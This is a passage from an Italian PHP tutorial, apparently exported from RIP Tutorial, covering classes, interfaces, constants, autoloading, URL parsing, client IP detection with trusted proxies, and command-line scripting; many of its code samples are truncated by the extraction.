https://riptutorial.com/it/home 68
contenere solo un valore primitivo. I valori costanti sono fissati al momento della
compilazione e non possono essere assegnati in fase di esecuzione.
• I metodi di interfaccia non hanno corpo.
interface FooBar {
const FOO_VALUE = 'bla';
public function doAnything();
}
Examples
interfacce
introduzione
Le interfacce sono definizioni delle API pubbliche che le classi devono implementare per
soddisfare l'interfaccia. Funzionano come "contratti", specificando cosa fa un insieme di
sottoclassi, ma non come lo fanno.
La definizione dell'interfaccia è molto simile alla definizione della classe, cambiando la class
parola chiave per l' interface :
interface Foo {
interface Foo {
const BAR = 'BAR';
Nota: le interfacce non devono dichiarare costruttori o distruttori, poiché si tratta di dettagli di
implementazione a livello di classe.
Realizzazione
Qualsiasi classe che deve implementare un'interfaccia deve farlo utilizzando la parola chiave
implements . Per fare ciò, la classe deve fornire un'implementazione per ogni metodo dichiarato
nell'interfaccia, rispettando la stessa firma.
https://riptutorial.com/it/home 69
interface Foo {
public function doSomething($param1, $param2);
}
interface Bar {
public function doAnotherThing($param1);
}
Quando le classi astratte implementano le interfacce, non hanno bisogno di implementare tutti i
metodi. Qualsiasi metodo non implementato nella classe base deve quindi essere implementato
dalla classe concreta che lo estende:
Si noti che la realizzazione dell'interfaccia è una caratteristica ereditata. Quando si estende una
classe che implementa un'interfaccia, non è necessario ridichiarla nella classe concreta, perché è
implicita.
Nota: prima di PHP 5.3.9, una classe non poteva implementare due interfacce che
specificavano un metodo con lo stesso nome, poiché ciò avrebbe causato ambiguità.
Le versioni più recenti di PHP consentono questo finché i metodi duplicati hanno la
stessa firma [1] .
Eredità
Come le classi, è possibile stabilire una relazione di ereditarietà tra le interfacce, utilizzando le
stesse extends parole chiave. La differenza principale è che l'ereditarietà multipla è consentita per
le interfacce:
interface Foo {
https://riptutorial.com/it/home 70
}
interface Bar {
Esempi
Nell'esempio seguente abbiamo una semplice interfaccia di esempio per un veicolo. I veicoli
possono andare avanti e indietro.
interface VehicleInterface {
public function forward();
...
}
...
}
https://riptutorial.com/it/home 71
$this->gear = $gear;
}
...
}
Quindi creiamo due classi che implementano l'interfaccia: bici e auto. Bici e auto internamente
sono molto diverse, ma entrambi sono veicoli e devono implementare gli stessi metodi pubblici
forniti da VehicleInterface.
Typehinting consente a metodi e funzioni di richiedere interfacce. Supponiamo di avere una classe
di garage, che contiene veicoli di ogni tipo.
class ParkingGarage {
protected $vehicles = [];
Costanti di classe
Le costanti di classe forniscono un meccanismo per mantenere valori fissi in un programma. Cioè,
forniscono un modo di dare un nome (e un controllo associato in fase di compilazione) ad un
valore come 3.14 o "Apple" . Le costanti di classe possono essere definite solo con la parola
chiave const : la funzione define non può essere utilizzata in questo contesto.
Ad esempio, può essere conveniente avere una rappresentazione abbreviata per il valore di π in
un programma. Una classe con valori const fornisce un modo semplice per contenere tali valori.
class MathValues {
const PI = M_PI;
const PHI = 1.61803;
}
È possibile accedere alle costanti di classe utilizzando l'operatore double colon (il cosiddetto
operatore di risoluzione scope) su una classe, in modo simile alle variabili statiche. A differenza
delle variabili statiche, tuttavia, le costanti di classe hanno i loro valori fissati in fase di
compilazione e non possono essere riassegnati a (ad esempio MathValues::PI = 7 produrrebbe un
errore fatale).
Le costanti di classe sono anche utili per definire cose interne a una classe che potrebbe essere
https://riptutorial.com/it/home 72
necessario modificare in un secondo momento (ma non cambiano abbastanza frequentemente
per giustificare l'archiviazione, ad esempio, in un database). Possiamo riferimento a questa
internamente usando l' self resolutor portata (che funziona in entrambe le implementazioni
instanced e statiche)
class Labor {
/** How long, in hours, does it take to build the item? */
const LABOR_UNITS = 0.26;
/** How much are we paying employees per hour? */
const LABOR_COST = 12.75;
Le costanti di classe possono contenere solo valori scalari nelle versioni <5.6
A partire da PHP 5.6 possiamo usare espressioni con costanti, il che significa che le istruzioni
matematiche e le stringhe con concatenazione sono costanti accettabili
class Labor {
/** How much are we paying employees per hour? Hourly wages * hours taken to make */
const LABOR_COSTS = 12.75 * 0.26;
A partire da PHP 7.0, le costanti dichiarate con define ora possono contenere array.
define("BAZ", array('baz'));
Le costanti di classe sono utili per qualcosa di più della semplice memorizzazione di concetti
matematici. Ad esempio, se si prepara una torta, potrebbe essere conveniente avere una singola
classe Pie grado di prendere diversi tipi di frutta.
class Pie {
protected $fruit;
Il problema che si pone qui è che, quando si crea un'istanza della classe Pie , non viene fornita
alcuna indicazione sui valori accettabili. Ad esempio, quando si crea una torta "boysenberry",
https://riptutorial.com/it/home 73
potrebbe essere errata "boisenberry". Inoltre, potremmo non supportare una torta di prugne.
Invece, sarebbe utile avere una lista di tipi di frutta accettabili già definiti da qualche parte avrebbe
senso cercarli. Dì una classe chiamata Fruit :
class Fruit {
const APPLE = "apple";
const STRAWBERRY = "strawberry";
const BOYSENBERRY = "boysenberry";
}
Elencare i valori accettabili come costanti di classe fornisce un prezioso suggerimento sui valori
accettabili che un metodo accetta. Garantisce inoltre che gli errori di ortografia non possano
superare il compilatore. Mentre new Pie('aple') e new Pie('apple') sono entrambi accettabili per il
compilatore, new Pie(Fruit::APLE) produrrà un errore del compilatore.
Infine, l'uso delle costanti di classe significa che il valore effettivo della costante può essere
modificato in un singolo punto e qualsiasi codice che utilizza la costante ha automaticamente gli
effetti della modifica.
Mentre il metodo più comune per accedere a una costante di classe è MyClass::CONSTANT_NAME , è
possibile che vi si acceda anche:
echo MyClass::CONSTANT;
$classname = "MyClass";
echo $classname::CONSTANT; // As of PHP 5.3.0
Le costanti di classe in PHP sono convenzionalmente denominate tutte in maiuscolo con caratteri
di sottolineatura come separatori di parole, sebbene qualsiasi nome di etichetta valido possa
essere usato come nome di costante di classe.
A partire da PHP 7.1, le costanti di classe ora possono essere definite con diverse visioni
dall'ambito pubblico predefinito. Ciò significa che è ora possibile definire sia le costanti protette
che quelle private per impedire che le costanti di classe sfuggano inutilmente all'ambito pubblico
(vedere Metodo e visibilità delle proprietà ). Per esempio:
class Something {
const PUBLIC_CONST_A = 1;
public const PUBLIC_CONST_B = 2;
protected const PROTECTED_CONST = 3;
private const PRIVATE_CONST = 4;
}
https://riptutorial.com/it/home 74
function bar() { return 2; };
define('BAR', bar());
class Foo {
const BAR = bar(); // Error: Constant expression contains invalid operations
}
Ma puoi fare:
define('BAR', bar());
class Foo {
const BAR = BAR; // OK
}
namespace foo;
use bar\Bar;
echo json_encode(Bar::class); // "bar\\Bar"
echo json_encode(Foo::class); // "foo\\Foo"
echo json_encode(\Foo::class); // "Foo"
Quanto sopra funziona anche se le classi non sono nemmeno definite (cioè questo frammento di
codice funziona da solo).
Questa sintassi è utile per le funzioni che richiedono un nome di classe. Ad esempio, può essere
utilizzato con class_exists per verificare che esista una classe. Nessun errore verrà generato
indipendentemente dal valore di ritorno in questo frammento:
class_exists(ThisClass\Will\NeverBe\Loaded::class, false);
In PHP 5.3+ e versioni successive è possibile utilizzare il binding statico avanzato per controllare
https://riptutorial.com/it/home 75
da quale classe viene chiamata una proprietà o un metodo statico. È stato aggiunto per superare il
problema inerente al risolutore di self:: scope. Prendi il seguente codice
class Horse {
public static function whatToSay() {
echo 'Neigh!';
}
Horse::speak(); // Neigh!
MrEd::speak(); // Neigh!
Il problema è che self::whatToSay(); si può riferire solo alla classe del Horse , il che significa che
non obbedisce a MrEd . Se passiamo al resolutor static:: scope, non abbiamo questo problema.
Questo metodo più recente dice alla classe di obbedire all'istanza che la chiama. Così otteniamo
l'eredità che ci aspettiamo
class Horse {
public static function whatToSay() {
echo 'Neigh!';
}
Horse::speak(); // Neigh!
MrEd::speak(); // Hello Wilbur!
Classi astratte
Una classe astratta è una classe che non può essere istanziata. Le classi astratte possono
definire metodi astratti, che sono metodi senza alcun corpo, solo una definizione:
Le classi astratte dovrebbero essere estese da una classe di bambini che può quindi fornire
https://riptutorial.com/it/home 76
l'implementazione di questi metodi astratti.
Lo scopo principale di una classe come questa è fornire un tipo di modello che consenta alle
classi di bambini di ereditare da "forzare" una struttura a cui aderire. Approfondiamo questo con
un esempio:
In questo esempio implementeremo un'interfaccia Worker . Per prima cosa definiamo l'interfaccia:
interface Worker {
public function run();
}
Per facilitare lo sviluppo di ulteriori implementazioni di Worker, creeremo una classe worker
astratta che già fornisce il metodo run() dall'interfaccia, ma specifica alcuni metodi astratti che
devono essere compilati da qualsiasi classe child:
Prima di tutto, abbiamo fornito un metodo astratto getMemoryLimit() . Qualsiasi classe che
provenga da AbstractWorker deve fornire questo metodo e restituire il limite di memoria.
AbstractWorker imposta quindi il limite di memoria e lo registra.
In secondo luogo, AbstractWorker chiama i prepareMain() e main() , dopo aver registrato che sono
https://riptutorial.com/it/home 77
stati chiamati.
Infine, tutte queste chiamate al metodo sono state raggruppate in un blocco try - catch . Quindi, se
uno qualsiasi dei metodi astratti definiti dalla classe figlia lancia un'eccezione, cattureremo
quell'eccezione, la registreremo e la ricolloceremo. Ciò impedisce a tutte le classi child di dover
implementare esse stesse.
Nota importante
Quando si eredita da una classe astratta, tutti i metodi contrassegnati come astratti
nella dichiarazione della classe del genitore devono essere definiti dal bambino (o
anche il bambino stesso deve essere contrassegnato come astratto); inoltre, questi
metodi devono essere definiti con la stessa (o meno limitata) visibilità. Ad esempio, se
il metodo astratto è definito come protetto, l'implementazione della funzione deve
essere definita come protetta o pubblica, ma non privata.
Tratto dalla documentazione di PHP per l'astrazione della classe .
Se non si definiscono i metodi delle classi astratte padre all'interno della classe figlio, verrà
generato un errore PHP irreversibile come il seguente.
https://riptutorial.com/it/home 78
Errore irreversibile: la classe X contiene 1 metodo astratto e deve quindi essere
dichiarata astratta o implementare i restanti metodi (X :: x) in
Namespacing e Autoloading
Tecnicamente, il caricamento automatico funziona eseguendo una richiamata quando una classe
PHP è richiesta ma non trovata. Tali callback di solito tentano di caricare queste classi.
Generalmente, l'autoloading può essere interpretato come il tentativo di caricare file PHP (in
particolare file di classe PHP, dove un file sorgente PHP è dedicato per una classe specifica) da
percorsi appropriati in base al nome completo della classe (FQN) quando è necessaria una classe
.
<?php
namespace application\controllers { class Base {...} }
<?php
namespace application\controllers { class Control {...} }
<?php
namespace application\models { class Page {...} }
Sotto la cartella di origine, queste classi devono essere posizionate nei percorsi come loro FQN
rispettivamente:
• Cartella di origine
○ applications
○ controllers
○ Base.php
○ Control.php
○ models
○ Page.php
Questo approccio consente di risolvere a livello di codice il percorso del file di classe in base al
FQN, utilizzando questa funzione:
https://riptutorial.com/it/home 79
utilizzando una funzione definita dall'utente:
Questa funzione può essere ulteriormente estesa per utilizzare i metodi di fallback di caricamento:
Si noti che PHP non tenta di caricare le classi ogni volta che viene caricato un file che utilizza
questa classe. Può essere caricato nel mezzo di uno script o anche in funzioni di spegnimento.
Questo è uno dei motivi per cui gli sviluppatori, specialmente quelli che usano il caricamento
automatico, dovrebbero evitare di sostituire i file sorgente in esecuzione nel runtime, specialmente
nei file phar.
Associazione dinamica
Ciò è utile se determinate condizioni determinano quale classe verrà utilizzata per eseguire
un'azione, in cui l'azione viene denominata la stessa in entrambe le classi.
interface Animal {
public function makeNoise();
}
https://riptutorial.com/it/home 80
{
$this->meow();
}
...
}
class Person {
const CAT = 'cat';
const DOG = 'dog';
private $petPreference;
private $pet;
if($person->isCatLover()) {
$person->setPet(new Cat());
} else if($person->isDogLover()) {
$person->setPet(new Dog());
}
$person->getPet()->makeNoise();
Nell'esempio sopra, la classe Animal ( Dog|Cat ) che makeNoise è sconosciuta fino al runtime a
seconda della proprietà all'interno della classe User .
Esistono tre tipi di visibilità che è possibile applicare ai metodi ( funzioni classe / oggetto ) e
proprietà ( variabili classe / oggetto ) all'interno di una classe, che forniscono il controllo di
accesso per il metodo o la proprietà a cui sono applicati.
È possibile leggere estesamente su questi nella Documentazione di PHP per la visibilità OOP .
https://riptutorial.com/it/home 81
Pubblico
Dichiarare un metodo o una proprietà come public consente al metodo o alla proprietà di
accedere:
class MyClass {
// Property
public $myProperty = 'test';
// Method
public function myMethod() {
return $this->myProperty;
}
}
echo $obj->myProperty;
// Out: test
protetta
Dichiarare un metodo o una proprietà come protected consente al metodo o alla proprietà di
accedere:
Ciò non consente a oggetti, classi o codici esterni al di fuori della gerarchia di classi di accedere
a questi metodi o proprietà. Se qualcosa che utilizza questo metodo / proprietà non ha accesso ad
esso, non sarà disponibile e verrà generato un errore. Solo le istanze del sé dichiarato (o
sottoclassi delle stesse) hanno accesso ad esso.
class MyClass {
protected $myProperty = 'test';
https://riptutorial.com/it/home 82
}
L'esempio precedente nota che è possibile accedere solo agli elementi protected all'interno del proprio ambito. In
sostanza: "Ciò che è nella casa può essere accessibile solo dall'interno della casa".
Privato
Dichiarare un metodo o una proprietà come private consente al metodo o alla proprietà di
accedere:
Un metodo o una proprietà private è visibile e accessibile solo all'interno della classe che lo ha
creato.
Si noti che gli oggetti dello stesso tipo avranno accesso agli altri membri privati e protetti anche se
non sono le stesse istanze.
class MyClass {
private $myProperty = 'test';
https://riptutorial.com/it/home 83
}
}
$obj->modifyPrivatePropertyOf($newObj);
$newObj->run();
// Out: new value
Come notato, puoi accedere al metodo / proprietà private solo dalla classe definita.
Un comune errore delle classi figlie è che, se il genitore e il figlio contengono entrambi un metodo
di costruzione ( __construct() ), verrà eseguito solo il costruttore della classe figlio .
Potrebbero esserci occasioni in cui è necessario eseguire il metodo genitore __construct() dal suo
figlio. Se è necessario, è necessario utilizzare il resolutor parent:: scope:
parent::__construct();
Ora sfruttando il fatto che all'interno di una situazione del mondo reale assomiglierebbe a
qualcosa:
class Foo {
function __construct($args) {
echo 'parent';
}
function __construct($args) {
parent::__construct($args);
}
}
https://riptutorial.com/it/home 84
Parola chiave finale
Def: Final Keyword impedisce alle classi figlie di sovrascrivere un metodo anteponendo la
definizione alla finale. Se la classe stessa viene definita definitiva, non può essere estesa
Metodo finale
class BaseClass {
public function test() {
echo "BaseClass::test() called\n";
}
Classe finale:
Costanti finali: a differenza di Java, la parola chiave final non viene utilizzata per le costanti di
classe in PHP. Utilizza invece la parola chiave const .
https://riptutorial.com/it/home 85
Quando evitare il final : le lezioni finali funzionano efficacemente solo con le seguenti ipotesi:
Usa $this per fare riferimento all'oggetto corrente. Usa te self per fare riferimento alla
classe corrente. In altre parole, usa $this->member per i $this->member non static, usa
self::$member per i membri static.
Nell'esempio seguente, sayHello() e sayGoodbye() stanno utilizzando self e $this differenza può
essere osservata qui.
class Person {
private $name;
static riferisce a qualsiasi classe nella gerarchia in cui hai chiamato il metodo. Consente un
migliore riutilizzo delle proprietà di classe statiche quando le classi vengono ereditate.
https://riptutorial.com/it/home 86
Considera il seguente codice:
class Car {
protected static $brand = 'unknown';
sconosciuto
sconosciuto
sconosciuto
Questo perché il self riferisce alla classe Car ogni volta che viene chiamato il metodo brand() .
Per fare riferimento alla classe corretta, è necessario utilizzare invece static :
class Car {
protected static $brand = 'unknown';
sconosciuto
BMW
https://riptutorial.com/it/home 87
Mercedes
Il singleton
Se si dispone di un oggetto che è costoso da creare o rappresenta una connessione ad alcune
risorse esterne che si desidera riutilizzare, ad esempio una connessione al database in cui non
esiste alcun pool di connessioni o un socket per altri sistemi, è possibile utilizzare le parole chiave
static e self in un classe per renderlo un singleton. Ci sono forti opinioni sul fatto che il modello
singleton debba o non debba essere usato, ma ha i suoi usi.
class Singleton {
private static $instance = null;
return self::$instance;
}
Come puoi vedere nel codice di esempio, stiamo definendo una proprietà statica privata $instance
per contenere il riferimento all'oggetto. Poiché questo è statico, questo riferimento è condiviso tra
TUTTI gli oggetti di questo tipo.
Il metodo getInstance() utilizza un metodo noto come lazy instantiation per ritardare la creazione
dell'oggetto all'ultimo momento possibile in quanto non si desidera che gli oggetti inutilizzati che si
trovano in memoria non vengano mai utilizzati. Inoltre, consente di risparmiare tempo e CPU
durante il caricamento della pagina senza dover caricare più oggetti del necessario. Il metodo sta
verificando se l'oggetto è impostato, creando in caso contrario e restituendolo. Ciò garantisce che
venga creato un solo oggetto di questo tipo.
Stiamo anche impostando il costruttore come privato per garantire che nessuno lo crei con la new
parola chiave dall'esterno. Se devi ereditare da questa classe, modifica le parole chiave private in
protected .
$singleton = Singleton::getInstance();
Ora ti imploro di usare l'iniezione di dipendenze dove puoi e mirare a oggetti liberamente
accoppiati, ma a volte non è ragionevole e il modello singleton può essere utile.
https://riptutorial.com/it/home 88
Caricamento automatico
Nessuno vuole require o include ogni volta che viene utilizzata una classe o un'eredità. Poiché
può essere doloroso e facile da dimenticare, PHP offre il cosiddetto autoloading. Se stai già
utilizzando Composer, leggi l' autoload utilizzando Composer .
Il nome dice praticamente tutto. Non è necessario per ottenere il file in cui la classe richiesta è
memorizzato in, ma carico di PHP automatica mente s esso.
Come posso fare questo in PHP di base senza codice di terze parti?
Esempi
spl_autoload_register(function ($className) {
$path = sprintf('%s.php', $className);
if (file_exists($path)) {
include $path;
} else {
// file not found
}
});
Il codice sopra tenta semplicemente di includere un nome file con il nome della classe e
l'estensione aggiunta ".php" usando sprintf . Se FooBar deve essere caricato, sembra che
FooBar.php esista e, in tal caso, includerlo.
Naturalmente questo può essere esteso per adattarsi alle esigenze individuali del progetto. Se _
all'interno di un nome di classe viene utilizzato per raggruppare, ad esempio User_Post e
User_Image entrambi si riferiscono a User , entrambe le classi possono essere mantenute in una
cartella denominata "Utente" in questo modo:
spl_autoload_register(function ($className) {
// replace _ by / or \ (depending on OS)
$path = sprintf('%s.php', str_replace('_', DIRECTORY_SEPARATOR, $className) );
if (file_exists($path)) {
include $path;
} else {
// file not found
}
});
https://riptutorial.com/it/home 89
spl_autoload_register può essere adattato alle varie esigenze. Tutti i tuoi file con le classi sono
denominati "class.CLASSNAME.php"? Nessun problema. Numerosi annidamenti (
User_Post_Content => "Utente / Posta / Contenuto.php")? Nessun problema neanche.
spl_autoload_register(function ($className) {
$path = sprintf('%1$s%2$s%3$s.php',
// %1$s: get absolute path
realpath(dirname(__FILE__)),
// %2$s: / or \ (depending on OS)
DIRECTORY_SEPARATOR,
// %3$s: don't wory about caps or not when creating the files
strtolower(
// replace _ by / or \ (depending on OS)
str_replace('_', DIRECTORY_SEPARATOR, $className)
)
);
if (file_exists($path)) {
include $path;
} else {
throw new Exception(
sprintf('Class with name %1$s not found. Looked in %2$s.',
$className,
$path
)
);
}
});
Usando autoloader come questo, puoi scrivere felicemente il codice in questo modo:
Utilizzando le classi:
Classi anonime
Le classi anonime sono state introdotte in PHP 7 per consentire la creazione di oggetti one-off
veloci. Possono prendere gli argomenti del costruttore, estendere altre classi, implementare
interfacce e usare i tratti proprio come le classi normali possono.
https://riptutorial.com/it/home 90
Nella sua forma più semplice, una classe anonima ha il seguente aspetto:
Annidare una classe anonima all'interno di un'altra classe non gli dà accesso a metodi o proprietà
private o protette di quella classe esterna. L'accesso ai metodi e alle proprietà protette della
classe esterna può essere ottenuto estendendo la classe esterna dalla classe anonima. L'accesso
alle proprietà private della classe esterna può essere ottenuto passandole attraverso il costruttore
della classe anonima.
Per esempio:
class Outer {
private $prop = 1;
protected $prop2 = 2;
Un oggetto in PHP contiene variabili e funzioni. Gli oggetti appartengono tipicamente a una
classe, che definisce le variabili e le funzioni che tutti gli oggetti di questa classe conterranno.
class Shape {
public $sides = 0;
https://riptutorial.com/it/home 91
public function description() {
return "A shape with $this->sides sides.";
}
}
Costruttore
Le classi possono definire un metodo speciale __construct() , che viene eseguito come parte della
creazione dell'oggetto. Questo è spesso usato per specificare i valori iniziali di un oggetto:
class Shape {
public $sides = 0;
https://riptutorial.com/it/home 92
$this->sideLength = $sideLength;
}
La classe Square contiene variabili e comportamenti sia per la classe Shape che per la classe Square
:
print $mySquare->perimeter() // 40
https://riptutorial.com/it/home 93
Capitolo 15: Come abbattere un URL
introduzione
Come codifichi PHP, molto probabilmente ti troverai in una posizione in cui devi abbattere un URL
in più parti. Ovviamente c'è più di un modo per farlo in base alle tue esigenze. Questo articolo ti
spiegherà in che modo puoi trovare ciò che funziona meglio per te.
Examples
Utilizzo di parse_url ()
$url = parse_url('http://example.com/project/controller/action/param1/param2');
Array
(
[scheme] => http
[host] => example.com
[path] => /project/controller/action/param1/param2
)
$url = parse_url('http://example.com/project/controller/action/param1/param2');
$url['sections'] = explode('/', $url['path']);
Array
(
[scheme] => http
[host] => example.com
[path] => /project/controller/action/param1/param2
[sections] => Array
(
[0] =>
[1] => project
[2] => controller
[3] => action
[4] => param1
[5] => param2
)
Se hai bisogno dell'ultima parte della sezione puoi usare end () in questo modo:
$last = end($url['sections']);
https://riptutorial.com/it/home 94
Se l'URL contiene GET vars puoi recuperarli anche tu
$url = parse_url('http://example.com?var1=value1&var2=value2');
Array
(
[scheme] => http
[host] => example.com
[query] => var1=value1&var2=value2
)
$url = parse_url('http://example.com?var1=value1&var2=value2');
parse_str($url['query'], $parts);
Array
(
[var1] => value1
[var2] => value2
)
Usare explode ()
explode (): restituisce una matrice di stringhe, ognuna delle quali è una sottostringa di
stringa formata dividendola sui limiti formati dal delimitatore di stringhe.
$url = "http://example.com/project/controller/action/param1/param2";
$parts = explode('/', $url);
Array
(
[0] => http:
[1] =>
[2] => example.com
[3] => project
[4] => controller
[5] => action
[6] => param1
[7] => param2
)
$last = end($parts);
// Output: param2
Puoi anche navigare all'interno dell'array usando sizeof () in combinazione con un operatore
matematico come questo:
echo $parts[sizeof($parts)-2];
https://riptutorial.com/it/home 95
// Output: param1
Utilizzo di basename ()
basename (): data una stringa contenente il percorso di un file o di una directory,
questa funzione restituirà il componente del nome finale.
$url = "http://example.com/project/controller/action/param1/param2";
$parts = basename($url);
// Output: param2
Se il tuo URL ha più cose e quello di cui hai bisogno è il nome della directory che contiene il file
puoi usarlo con dirname () in questo modo:
$url = "http://example.com/project/controller/action/param1/param2/index.php";
$parts = basename(dirname($url));
// Output: param2
https://riptutorial.com/it/home 96
Capitolo 16: Come rilevare l'indirizzo IP del
client
Examples
Uso corretto di HTTP_X_FORWARDED_FOR
Alla luce delle ultime vulnerabilità di httpoxy , c'è un'altra variabile, che è ampiamente usata
impropriamente.
HTTP_X_FORWARDED_FOR viene spesso utilizzato per rilevare l'indirizzo IP del client, ma senza ulteriori
verifiche, questo può portare a problemi di sicurezza, soprattutto quando questo IP viene in
seguito utilizzato per l'autenticazione o nelle query SQL senza sterilizzazione.
La maggior parte degli esempi di codice disponibili ignorano il fatto che HTTP_X_FORWARDED_FOR può
effettivamente essere considerato come un'informazione fornita dal client stesso e pertanto non è
una fonte affidabile per rilevare l'indirizzo IP dei client. Alcuni esempi aggiungono un avvertimento
circa il possibile uso improprio, ma mancano ancora ulteriori controlli nel codice stesso.
Quindi ecco un esempio di funzione scritta in PHP, come rilevare un indirizzo IP del client, se si sa
che il client potrebbe essere dietro un proxy e si sa che questo proxy può essere considerato
affidabile. Se non conosci alcun proxy fidato, puoi semplicemente utilizzare REMOTE_ADDR
function get_client_ip()
{
// Nothing to do without any reliable information
if (!isset($_SERVER['REMOTE_ADDR'])) {
return NULL;
}
if (in_array($_SERVER['REMOTE_ADDR'], $trusted_proxies)) {
// Header can contain multiple IP-s of proxies that are passed through.
// Only the IP added by the last proxy (last IP in the list) can be trusted.
$client_ip = trim(end(explode(",", $_SERVER[$proxy_header])));
https://riptutorial.com/it/home 97
// Validation failed - beat the guy who configured the proxy or
// the guy who created the trusted proxy list?
// TODO: some error handling to notify about the need of punishment
}
}
}
print get_client_ip();
https://riptutorial.com/it/home 98
Capitolo 17: Command Line Interface (CLI)
Examples
Gestione degli argomenti
Gli argomenti vengono passati al programma in un modo simile alla maggior parte dei linguaggi in
stile C. $argc è un numero intero che contiene il numero di argomenti incluso il nome del
programma e $argv è un array contenente argomenti per il programma. Il primo elemento di $argv
è il nome del programma.
#!/usr/bin/php
Chiamando l'applicazione sopra con php example.php foo bar (dove example.php contiene il codice
precedente) si otterrà il seguente output:
Si noti che $argc e $argv sono variabili globali, non variabili superglobali. Devono essere importati
nello scope locale usando la parola chiave global se sono necessari in una funzione.
Questo esempio mostra come gli argomenti vengono raggruppati quando vengono utilizzati gli
escape come "" o \ .
Script di esempio
var_dump($argc, $argv);
Riga di comando
$ php argc.argv.php --this-is-an-option three\ words\ together or "in one quote" but\
multiple\ spaces\ counted\ as\ one
int(6)
array(6) {
[0]=>
string(13) "argc.argv.php"
[1]=>
string(19) "--this-is-an-option"
[2]=>
string(20) "three words together"
[3]=>
string(2) "or"
https://riptutorial.com/it/home 99
[4]=>
string(12) "in one quote"
[5]=>
string(34) "but multiple spaces counted as one"
}
$ php -r 'var_dump($argv);'
array(1) {
[0]=>
string(1) "-"
}
Quando vengono eseguiti dalla CLI, le costanti STDIN , STDOUT e STDERR sono predefinite.
Queste costanti sono handle di file e possono essere considerati equivalenti ai risultati
dell'esecuzione dei seguenti comandi:
#!/usr/bin/php
Gli indirizzi del flusso incorporato di cui si fa riferimento in precedenza ( php://stdin , php://stdout
e php://stderr ) possono essere utilizzati al posto dei nomi di file nella maggior parte dei contesti:
https://riptutorial.com/it/home 100
file_put_contents('php://stdout', 'This is stdout content');
file_put_contents('php://stderr', 'This is stderr content');
fclose($stdout);
In alternativa, è possibile utilizzare anche readline () per l'input e per l'output è anche possibile
utilizzare echo o print o qualsiasi altra funzione di stampa di stringhe.
Codici di ritorno
Il costrutto di uscita può essere utilizzato per passare un codice di ritorno all'ambiente di
esecuzione.
#!/usr/bin/php
Per impostazione predefinita, verrà restituito un codice di uscita pari a 0 se non ne viene fornito
nessuno, ovvero l' exit è uguale a exit(0) . Poiché exit non è una funzione, le parentesi non sono
necessarie se non viene passato alcun codice di ritorno.
I codici di ritorno devono essere compresi tra 0 e 254 (255 è riservato da PHP e non deve essere
utilizzato). Per convenzione, l'uscita con un codice di ritorno di 0 indica al programma chiamante
che lo script PHP è stato eseguito correttamente. Utilizzare un codice di ritorno diverso da zero
per comunicare al programma chiamante che si è verificata una condizione di errore specifica.
Le opzioni del programma possono essere gestite con la funzione getopt() . Funziona con una
sintassi simile al comando getopt POSIX, con supporto aggiuntivo per le opzioni lunghe in stile
GNU.
#!/usr/bin/php
https://riptutorial.com/it/home 101
$opts = getopt($shortopts, $longopts);
// options with values can be called like "-f foo", "-ffoo", or "-f=foo"
$file = "";
if (isset($opts["f"])) {
$file = $opts["f"];
}
if (empty($file)) {
fprintf(STDERR, "We wanted a file!" . PHP_EOL);
exit(1);
}
fprintf(STDOUT, "File is %s" . PHP_EOL, $file);
./test.php --help
./test.php --version
./test.php -f foo -ddd
./test.php -v -d -ffoo
./test.php -v5 -f=foo
./test.php -f foo -v 5 -d
Nota: A partire da PHP 5.3.0, getopt è indipendente dal sistema operativo, funziona
anche su Windows.
https://riptutorial.com/it/home 102
La funzione php_sapi_name() e la costante PHP_SAPI restituiscono entrambi il tipo di interfaccia ( S
erver API ) che viene utilizzata da PHP. Possono essere utilizzati per limitare l'esecuzione di uno
script alla riga di comando, controllando se l'output della funzione è uguale a cli .
La funzione drupal_is_cli() è un esempio di una funzione che rileva se uno script è stato eseguito
dalla riga di comando:
function drupal_is_cli() {
return (!isset($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' ||
(is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)));
}
Su Linux / UNIX o Windows, uno script può essere passato come argomento all'eseguibile di
PHP, con le opzioni e gli argomenti di tale script che seguono:
Su Linux / UNIX, il metodo preferito di esecuzione degli script consiste nell'utilizzare uno shebang
(ad esempio #!/usr/bin/env php ) come prima riga di un file e impostare il bit eseguibile sul file.
Supponendo che lo script sia nel tuo percorso, puoi chiamarlo direttamente:
L'uso di /usr/bin/env php rende l'eseguibile di PHP da trovare usando il PATH. Seguendo il modo
in cui PHP è installato, potrebbe non trovarsi nello stesso posto (come /usr/bin/php o
/usr/local/bin/php ), diversamente da env che è comunemente disponibile da /usr/bin/env .
c:\php\php.exe "%~dp0example.php" %*
Oppure, se hai aggiunto la directory di PHP nel PERCORSO, per un comodo utilizzo:
php "%~dp0example.php" %*
https://riptutorial.com/it/home 103
Differenze comportamentali sulla riga di comando
Quando si esegue dalla CLI, PHP presenta alcuni comportamenti diversi rispetto a quando viene
eseguito da un server Web. Queste differenze dovrebbero essere tenute a mente, specialmente
nel caso in cui lo stesso script possa essere eseguito da entrambi gli ambienti.
• Nessuna modifica alla directory Quando si esegue uno script da un server Web, la
directory di lavoro corrente è sempre quella dello script stesso. Il codice
require("./stuff.inc"); presume che il file si trovi nella stessa directory dello script. Sulla
riga di comando, la directory di lavoro corrente è la directory in cui ti trovi quando chiami lo
script. Gli script che verranno chiamati dalla riga di comando dovrebbero sempre utilizzare
percorsi assoluti. (Nota le costanti magiche __DIR__ e __FILE__ continuano a funzionare come
previsto, e restituiscono il percorso dello script.)
• Nessun buffer di output Le direttive php.ini output_buffering e implicit_flush
output_buffering su false e true , rispettivamente. Il buffering è ancora disponibile, ma deve
